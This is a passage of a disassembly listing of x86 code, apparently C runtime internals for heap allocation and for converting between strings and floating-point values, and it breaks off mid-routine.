R O U T I N E ======================================= ; Attributes: bp-based frame sub_41608D proc near ; CODE XREF: sub_4149E3+22p ; sub_4149E3+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_4160AE test esi, esi jnz short loc_4160A8 push 1 pop esi loc_4160A8: ; CODE XREF: sub_41608D+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_4160AE: ; CODE XREF: sub_41608D+12j ; sub_41608D+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_41610D mov eax, dword_483428 cmp eax, 3 jnz short loc_4160D9 mov eax, [ebp+arg_0] cmp eax, dword_483420 ja short loc_4160F8 push eax call sub_41061C mov edi, eax pop ecx test edi, edi jnz short loc_416123 jmp short loc_4160F8 ; --------------------------------------------------------------------------- loc_4160D9: ; CODE XREF: sub_41608D+30j cmp eax, 2 jnz short loc_4160F8 cmp esi, dword_421CB4 ja short loc_4160F8 mov eax, esi shr eax, 4 push eax call sub_4110BF mov edi, eax pop ecx test edi, edi jnz short loc_416137 loc_4160F8: ; CODE XREF: sub_41608D+3Bj ; sub_41608D+4Aj ... push esi push 8 push dword_483424 call dword_418110 ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_416131 loc_41610D: ; CODE XREF: sub_41608D+26j cmp dword_481E14, 0 jz short loc_416131 push esi call sub_410093 test eax, eax pop ecx jz short loc_41613A jmp short loc_4160AE ; --------------------------------------------------------------------------- loc_416123: ; CODE XREF: sub_41608D+48j push [ebp+arg_0] loc_416126: ; CODE XREF: sub_41608D+ABj push 0 push edi call sub_40CC40 add esp, 0Ch loc_416131: ; CODE XREF: sub_41608D+7Ej ; sub_41608D+87j mov eax, edi loc_416133: ; CODE XREF: sub_41608D+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_416137: ; CODE XREF: sub_41608D+69j push esi jmp short loc_416126 ; --------------------------------------------------------------------------- loc_41613A: ; CODE XREF: sub_41608D+92j xor eax, eax jmp short loc_416133 sub_41608D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_414A88 loc_41613E: ; CODE XREF: sub_414A88+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4830C0, esi jle short loc_416191 loc_41614D: ; CODE XREF: sub_414A88+1707j mov eax, dword_4820B0 mov eax, [eax+esi*4] test eax, eax jz short loc_416188 test byte ptr [eax+0Ch], 83h jz short loc_41616C push eax call sub_40D9CA cmp eax, 0FFFFFFFFh pop ecx jz short loc_41616C inc edi loc_41616C: ; CODE XREF: sub_414A88+16D5j ; sub_414A88+16E1j cmp esi, 14h jl short loc_416188 mov eax, dword_4820B0 push dword ptr [eax+esi*4] call sub_40CD81 mov eax, dword_4820B0 pop ecx and dword ptr [eax+esi*4], 0 loc_416188: ; CODE XREF: sub_414A88+16CFj ; sub_414A88+16E7j inc esi cmp esi, dword_4830C0 jl short loc_41614D loc_416191: ; CODE XREF: sub_414A88+16C3j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_414A88 ; =============== S U B R O U T I N E ======================================= sub_416196 proc near ; CODE XREF: sub_414E3F+2Bp ; sub_414E3F+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_4161AC cmp ecx, esi jnb short loc_4161AF loc_4161AC: ; CODE XREF: sub_416196+10j push 1 pop eax loc_4161AF: ; CODE XREF: sub_416196+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_416196 endp ; =============== S U B R O U T I N E ======================================= sub_4161B7 proc near ; CODE XREF: sub_416270+40p ; sub_416270+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_416196 add esp, 0Ch test eax, eax jz short loc_4161E9 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_416196 add esp, 0Ch test eax, eax jz short loc_4161E9 inc dword ptr [esi+8] loc_4161E9: ; CODE XREF: sub_4161B7+19j ; sub_4161B7+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_416196 add esp, 0Ch test eax, eax jz short loc_416201 inc dword ptr [esi+8] loc_416201: ; CODE XREF: sub_4161B7+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_416196 add esp, 0Ch pop edi pop esi retn sub_4161B7 endp ; =============== S U B R O U T I N E ======================================= sub_416215 proc near ; CODE XREF: sub_416270+30p ; sub_416270+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_416215 endp ; =============== S U B R O U T I N E ======================================= sub_416243 proc near ; CODE XREF: sub_416808+1C8p ; sub_416DD0+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_416243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416270 proc near ; CODE XREF: sub_416337+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_4162E4 push edi mov [ebp+arg_8], eax loc_416297: ; CODE XREF: sub_416270+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_416215 push ebx call sub_416215 lea eax, [ebp+var_10] push eax push ebx call sub_4161B7 push ebx call sub_416215 mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_4161B7 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_416297 xor edx, edx pop edi loc_4162E4: ; CODE XREF: sub_416270+21j ; sub_416270+9Fj cmp [ebx+8], edx jnz short loc_416311 mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_4162E4 ; --------------------------------------------------------------------------- loc_416311: ; CODE XREF: sub_416270+77j mov esi, 8000h loc_416316: ; CODE XREF: sub_416270+B9j test [ebx+8], esi jnz short loc_41632B push ebx call sub_416215 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_416316 ; --------------------------------------------------------------------------- loc_41632B: ; CODE XREF: sub_416270+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_416270 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416337 proc near ; CODE XREF: sub_415188+17p ; sub_4151B5+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_416372: ; CODE XREF: sub_416337+52j mov cl, [edi] cmp cl, 20h jz short loc_416388 cmp cl, 9 jz short loc_416388 cmp cl, 0Ah jz short loc_416388 cmp cl, 0Dh jnz short loc_41638B loc_416388: ; CODE XREF: sub_416337+40j ; sub_416337+45j ... inc edi jmp short loc_416372 ; --------------------------------------------------------------------------- loc_41638B: ; CODE XREF: sub_416337+4Fj push 4 pop esi loc_41638E: ; CODE XREF: sub_416337+AEj ; sub_416337+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_416611 ; default ; jumptable 0041639A case 10 jmp off_4167D8[eax*4] ; switch jump loc_4163A1: ; DATA XREF: .nsp0:off_4167D8o cmp bl, 31h ; jumptable 0041639A case 0 jl short loc_4163B2 cmp bl, 39h jg short loc_4163B2 loc_4163AB: ; CODE XREF: sub_416337+C4j ; sub_416337+118j push 3 jmp loc_4165CF ; --------------------------------------------------------------------------- loc_4163B2: ; CODE XREF: sub_416337+6Dj ; sub_416337+72j cmp bl, byte_422008 jnz short loc_4163C1 loc_4163BA: ; CODE XREF: sub_416337+124j push 5 jmp loc_416607 ; --------------------------------------------------------------------------- loc_4163C1: ; CODE XREF: sub_416337+81j movsx eax, bl sub eax, 2Bh jz short loc_4163E7 dec eax dec eax jz short loc_4163DB sub eax, 3 jnz loc_4166AA jmp loc_41646A ; --------------------------------------------------------------------------- loc_4163DB: ; CODE XREF: sub_416337+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_41638E ; --------------------------------------------------------------------------- loc_4163E7: ; CODE XREF: sub_416337+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_41638E ; --------------------------------------------------------------------------- loc_4163F0: ; CODE XREF: sub_416337+63j ; DATA XREF: .nsp0:off_4167D8o cmp bl, 31h ; jumptable 0041639A case 1 mov [ebp+var_10], edx jl short loc_4163FD cmp bl, 39h jle short loc_4163AB loc_4163FD: ; CODE XREF: sub_416337+BFj cmp bl, byte_422008 jz loc_4164C5 cmp bl, 2Bh jz short loc_41643F cmp bl, 2Dh jz short loc_41643F cmp bl, 30h jz short loc_41646A loc_416418: ; CODE XREF: sub_416337+207j cmp bl, 43h jle loc_4166AA cmp bl, 45h jle short loc_416438 cmp bl, 63h jle loc_4166AA cmp bl, 65h jg loc_4166AA loc_416438: ; CODE XREF: sub_416337+EDj push 6 jmp loc_416607 ; --------------------------------------------------------------------------- loc_41643F: ; CODE XREF: sub_416337+D5j ; sub_416337+DAj ... dec edi push 0Bh jmp loc_416607 ; --------------------------------------------------------------------------- loc_416447: ; CODE XREF: sub_416337+63j ; DATA XREF: .nsp0:off_4167D8o cmp bl, 31h ; jumptable 0041639A case 2 jl short loc_416455 cmp bl, 39h jle loc_4163AB loc_416455: ; CODE XREF: sub_416337+113j cmp bl, byte_422008 jz loc_4163BA cmp bl, 30h jnz loc_41661F loc_41646A: ; CODE XREF: sub_416337+9Fj ; sub_416337+DFj mov eax, edx jmp loc_41638E ; --------------------------------------------------------------------------- loc_416471: ; CODE XREF: sub_416337+63j ; DATA XREF: .nsp0:off_4167D8o mov [ebp+var_10], edx ; jumptable 0041639A case 3 loc_416474: ; CODE XREF: sub_416337+184j cmp dword_422004, edx jle short loc_41648D movzx eax, bl push esi push eax call sub_412B49 pop ecx pop ecx push 1 pop edx jmp short loc_41649B ; --------------------------------------------------------------------------- loc_41648D: ; CODE XREF: sub_416337+143j mov ecx, off_421DF8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41649B: ; CODE XREF: sub_416337+154j test eax, eax jz short loc_4164BD cmp [ebp+var_4], 19h jnb short loc_4164B5 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_4164B8 ; --------------------------------------------------------------------------- loc_4164B5: ; CODE XREF: sub_416337+16Cj inc [ebp+var_8] loc_4164B8: ; CODE XREF: sub_416337+17Cj mov bl, [edi] inc edi jmp short loc_416474 ; --------------------------------------------------------------------------- loc_4164BD: ; CODE XREF: sub_416337+166j cmp bl, byte_422008 jnz short loc_41652C loc_4164C5: ; CODE XREF: sub_416337+CCj mov eax, esi jmp loc_41638E ; --------------------------------------------------------------------------- loc_4164CC: ; CODE XREF: sub_416337+63j ; DATA XREF: .nsp0:off_4167D8o cmp [ebp+var_4], 0 ; jumptable 0041639A case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_4164E5 loc_4164D8: ; CODE XREF: sub_416337+1ACj cmp bl, 30h jnz short loc_4164E5 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_4164D8 ; --------------------------------------------------------------------------- loc_4164E5: ; CODE XREF: sub_416337+19Fj ; sub_416337+1A4j ... cmp dword_422004, edx jle short loc_4164FE movzx eax, bl push esi push eax call sub_412B49 pop ecx pop ecx push 1 pop edx jmp short loc_41650C ; --------------------------------------------------------------------------- loc_4164FE: ; CODE XREF: sub_416337+1B4j mov ecx, off_421DF8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41650C: ; CODE XREF: sub_416337+1C5j test eax, eax jz short loc_41652C cmp [ebp+var_4], 19h jnb short loc_416527 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_416527: ; CODE XREF: sub_416337+1DDj mov bl, [edi] inc edi jmp short loc_4164E5 ; --------------------------------------------------------------------------- loc_41652C: ; CODE XREF: sub_416337+18Cj ; sub_416337+1D7j cmp bl, 2Bh jz loc_41643F cmp bl, 2Dh jz loc_41643F jmp loc_416418 ; --------------------------------------------------------------------------- loc_416543: ; CODE XREF: sub_416337+63j ; DATA XREF: .nsp0:off_4167D8o cmp dword_422004, edx ; jumptable 0041639A case 5 mov [ebp+var_24], edx jle short loc_41655F movzx eax, bl push esi push eax call sub_412B49 pop ecx pop ecx push 1 pop edx jmp short loc_41656D ; --------------------------------------------------------------------------- loc_41655F: ; CODE XREF: sub_416337+215j mov ecx, off_421DF8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_41656D: ; CODE XREF: sub_416337+226j test eax, eax jz loc_41661F mov eax, esi jmp short loc_4165D0 ; --------------------------------------------------------------------------- loc_416579: ; CODE XREF: sub_416337+63j ; DATA XREF: .nsp0:off_4167D8o lea ecx, [edi-2] ; jumptable 0041639A case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_416589 cmp bl, 39h jle short loc_4165CD loc_416589: ; CODE XREF: sub_416337+24Bj movsx eax, bl sub eax, 2Bh jz short loc_416605 dec eax dec eax jz short loc_4165F9 sub eax, 3 jnz loc_4166AD loc_41659E: ; CODE XREF: sub_416337+2A4j push 8 jmp short loc_416607 ; --------------------------------------------------------------------------- loc_4165A2: ; CODE XREF: sub_416337+63j ; DATA XREF: .nsp0:off_4167D8o mov [ebp+var_20], edx ; jumptable 0041639A case 8 loc_4165A5: ; CODE XREF: sub_416337+276j cmp bl, 30h jnz short loc_4165AF mov bl, [edi] inc edi jmp short loc_4165A5 ; --------------------------------------------------------------------------- loc_4165AF: ; CODE XREF: sub_416337+271j cmp bl, 31h jl loc_4166AA cmp bl, 39h jg loc_4166AA jmp short loc_4165CD ; --------------------------------------------------------------------------- loc_4165C3: ; CODE XREF: sub_416337+63j ; DATA XREF: .nsp0:off_4167D8o cmp bl, 31h ; jumptable 0041639A case 7 jl short loc_4165D6 cmp bl, 39h jg short loc_4165D6 loc_4165CD: ; CODE XREF: sub_416337+250j ; sub_416337+28Aj push 9 loc_4165CF: ; CODE XREF: sub_416337+76j pop eax loc_4165D0: ; CODE XREF: sub_416337+240j dec edi jmp loc_41638E ; --------------------------------------------------------------------------- loc_4165D6: ; CODE XREF: sub_416337+28Fj ; sub_416337+294j cmp bl, 30h jnz short loc_41661F jmp short loc_41659E ; --------------------------------------------------------------------------- loc_4165DD: ; CODE XREF: sub_416337+63j ; DATA XREF: .nsp0:off_4167D8o cmp [ebp+arg_18], 0 ; jumptable 0041639A case 11 jz short loc_41660D movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_416605 dec eax dec eax jnz loc_4166AD loc_4165F9: ; CODE XREF: sub_416337+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_41638E ; --------------------------------------------------------------------------- loc_416605: ; CODE XREF: sub_416337+258j ; sub_416337+2B8j push 7 loc_416607: ; CODE XREF: sub_416337+85j ; sub_416337+103j ... pop eax jmp loc_41638E ; --------------------------------------------------------------------------- loc_41660D: ; CODE XREF: sub_416337+2AAj push 0Ah dec edi pop eax loc_416611: ; CODE XREF: sub_416337+5Dj ; sub_416337+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 0041639A case 10 jz loc_4166AF jmp loc_41638E ; --------------------------------------------------------------------------- loc_41661F: ; CODE XREF: sub_416337+12Dj ; sub_416337+238j ... mov edi, [ebp+arg_8] jmp loc_4166AF ; --------------------------------------------------------------------------- loc_416627: ; CODE XREF: sub_416337+63j ; DATA XREF: .nsp0:off_4167D8o mov [ebp+var_20], 1 ; jumptable 0041639A case 9 xor esi, esi loc_416630: ; CODE XREF: sub_416337+339j cmp dword_422004, 1 jle short loc_416648 movzx eax, bl push 4 push eax call sub_412B49 pop ecx pop ecx jmp short loc_416657 ; --------------------------------------------------------------------------- loc_416648: ; CODE XREF: sub_416337+300j mov ecx, off_421DF8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_416657: ; CODE XREF: sub_416337+30Fj test eax, eax jz short loc_416677 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_416672 mov bl, [edi] inc edi jmp short loc_416630 ; --------------------------------------------------------------------------- loc_416672: ; CODE XREF: sub_416337+334j mov esi, 1451h loc_416677: ; CODE XREF: sub_416337+322j mov [ebp+var_1C], esi loc_41667A: ; CODE XREF: sub_416337+371j cmp dword_422004, 1 jle short loc_416692 movzx eax, bl push 4 push eax call sub_412B49 pop ecx pop ecx jmp short loc_4166A1 ; --------------------------------------------------------------------------- loc_416692: ; CODE XREF: sub_416337+34Aj mov ecx, off_421DF8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4166A1: ; CODE XREF: sub_416337+359j test eax, eax jz short loc_4166AA mov bl, [edi] inc edi jmp short loc_41667A ; --------------------------------------------------------------------------- loc_4166AA: ; CODE XREF: sub_416337+99j ; sub_416337+E4j ... dec edi jmp short loc_4166AF ; --------------------------------------------------------------------------- loc_4166AD: ; CODE XREF: sub_416337+261j ; sub_416337+2BCj mov edi, ecx loc_4166AF: ; CODE XREF: sub_416337+2DDj ; sub_416337+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_416797 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_4166DB cmp [ebp+var_45], 5 jl short loc_4166CF inc [ebp+var_45] loc_4166CF: ; CODE XREF: sub_416337+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_4166DE ; --------------------------------------------------------------------------- loc_4166DB: ; CODE XREF: sub_416337+38Dj mov eax, [ebp+var_C] loc_4166DE: ; CODE XREF: sub_416337+3A2j cmp [ebp+var_4], 0 jbe loc_41678D loc_4166E8: ; CODE XREF: sub_416337+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_4166F6 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_4166E8 ; --------------------------------------------------------------------------- loc_4166F6: ; CODE XREF: sub_416337+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_416270 mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_416715 neg eax loc_416715: ; CODE XREF: sub_416337+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_416720 add eax, [ebp+arg_10] loc_416720: ; CODE XREF: sub_416337+3E4j cmp [ebp+var_24], ecx jnz short loc_416728 sub eax, [ebp+arg_14] loc_416728: ; CODE XREF: sub_416337+3ECj cmp eax, 1450h jle short loc_41675F mov [ebp+var_2C], 1 loc_416736: ; CODE XREF: sub_416337+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_416742: ; CODE XREF: sub_416337+454j ; sub_416337+45Ej cmp [ebp+var_2C], 0 jz short loc_4167A8 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_4167BD ; --------------------------------------------------------------------------- loc_41675F: ; CODE XREF: sub_416337+3F6j cmp eax, 0FFFFEBB0h jge short loc_41676F mov [ebp+var_30], 1 jmp short loc_416736 ; --------------------------------------------------------------------------- loc_41676F: ; CODE XREF: sub_416337+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_416FF0 mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_416742 ; --------------------------------------------------------------------------- loc_41678D: ; CODE XREF: sub_416337+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_416742 ; --------------------------------------------------------------------------- loc_416797: ; CODE XREF: sub_416337+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_4167BD ; --------------------------------------------------------------------------- loc_4167A8: ; CODE XREF: sub_416337+40Fj cmp [ebp+var_30], 0 jz short loc_4167BD xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_4167BD: ; CODE XREF: sub_416337+426j ; sub_416337+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_416337 endp ; --------------------------------------------------------------------------- off_4167D8 dd offset loc_4163A1 ; DATA XREF: sub_416337+63r dd offset loc_4163F0 ; jump table for switch statement dd offset loc_416447 dd offset loc_416471 dd offset loc_4164CC dd offset loc_416543 dd offset loc_416579 dd offset loc_4165C3 dd offset loc_4165A2 dd offset loc_416627 dd offset loc_416611 dd offset loc_4165DD ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416808 proc near ; CODE XREF: sub_415259+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_41686A mov byte ptr [ebx+2], 2Dh jmp short loc_41686E ; --------------------------------------------------------------------------- loc_41686A: ; CODE XREF: sub_416808+5Aj mov byte ptr [ebx+2], 20h loc_41686E: ; CODE XREF: sub_416808+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_416894 test edi, edi jnz short loc_416894 cmp [ebp+arg_0], edi jnz short loc_416894 loc_41687F: ; CODE XREF: sub_416808+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_416A92 ; --------------------------------------------------------------------------- loc_416894: ; CODE XREF: sub_416808+6Cj ; sub_416808+70j ... cmp dx, si jnz short loc_416913 mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_4168AD cmp [ebp+arg_0], 0 jz short loc_4168BC loc_4168AD: ; CODE XREF: sub_416808+9Dj test edi, 40000000h jnz short loc_4168BC push offset a1Snan ; "1#SNAN" jmp short loc_416902 ; --------------------------------------------------------------------------- loc_4168BC: ; CODE XREF: sub_416808+A3j ; sub_416808+ABj test cx, cx jz short loc_4168D6 cmp edi, 0C0000000h jnz short loc_4168D6 cmp [ebp+arg_0], 0 jnz short loc_4168FD push offset a1Ind ; "1#IND" jmp short loc_4168E5 ; --------------------------------------------------------------------------- loc_4168D6: ; CODE XREF: sub_416808+B7j ; sub_416808+BFj cmp edi, eax jnz short loc_4168FD cmp [ebp+arg_0], 0 jnz short loc_4168FD push offset a1Inf ; "1#INF" loc_4168E5: ; CODE XREF: sub_416808+CCj lea eax, [ebx+4] push eax call sub_40E3C0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_4168F4: ; CODE XREF: sub_416808+109j and [ebp+var_4], 0 jmp loc_416A6B ; --------------------------------------------------------------------------- loc_4168FD: ; CODE XREF: sub_416808+C5j ; sub_416808+D0j ... push offset a1Qnan ; "1#QNAN" loc_416902: ; CODE XREF: sub_416808+B2j lea eax, [ebx+4] push eax call sub_40E3C0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_4168F4 ; --------------------------------------------------------------------------- loc_416913: ; CODE XREF: sub_416808+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_416FF0 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_416974 lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_416DD0 pop ecx pop ecx loc_416974: ; CODE XREF: sub_416808+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_41698E mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_416991 jmp loc_41687F ; --------------------------------------------------------------------------- loc_41698E: ; CODE XREF: sub_416808+173j mov edi, [ebp+arg_C] loc_416991: ; CODE XREF: sub_416808+17Fj cmp edi, 15h jle short loc_416999 push 15h pop edi loc_416999: ; CODE XREF: sub_416808+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_4169AF: ; CODE XREF: sub_416808+1B4j lea eax, [ebp+var_10] push eax call sub_416215 dec [ebp+arg_14] pop ecx jnz short loc_4169AF test esi, esi jge short loc_4169D9 neg esi and esi, 0FFh jle short loc_4169D9 loc_4169CC: ; CODE XREF: sub_416808+1CFj lea eax, [ebp+var_10] push eax call sub_416243 dec esi pop ecx jnz short loc_4169CC loc_4169D9: ; CODE XREF: sub_416808+1B8j ; sub_416808+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_416A36 mov [ebp+arg_C], ecx loc_4169E9: ; CODE XREF: sub_416808+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_416215 lea eax, [ebp+var_10] push eax call sub_416215 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_4161B7 lea eax, [ebp+var_10] push eax call sub_416215 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_4169E9 mov eax, [ebp+arg_14] loc_416A36: ; CODE XREF: sub_416808+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_416A73 loc_416A43: ; CODE XREF: sub_416808+248j cmp eax, ecx jb short loc_416A56 cmp byte ptr [eax], 39h jnz short loc_416A52 mov byte ptr [eax], 30h dec eax jmp short loc_416A43 ; --------------------------------------------------------------------------- loc_416A52: ; CODE XREF: sub_416808+242j cmp eax, ecx jnb short loc_416A5A loc_416A56: ; 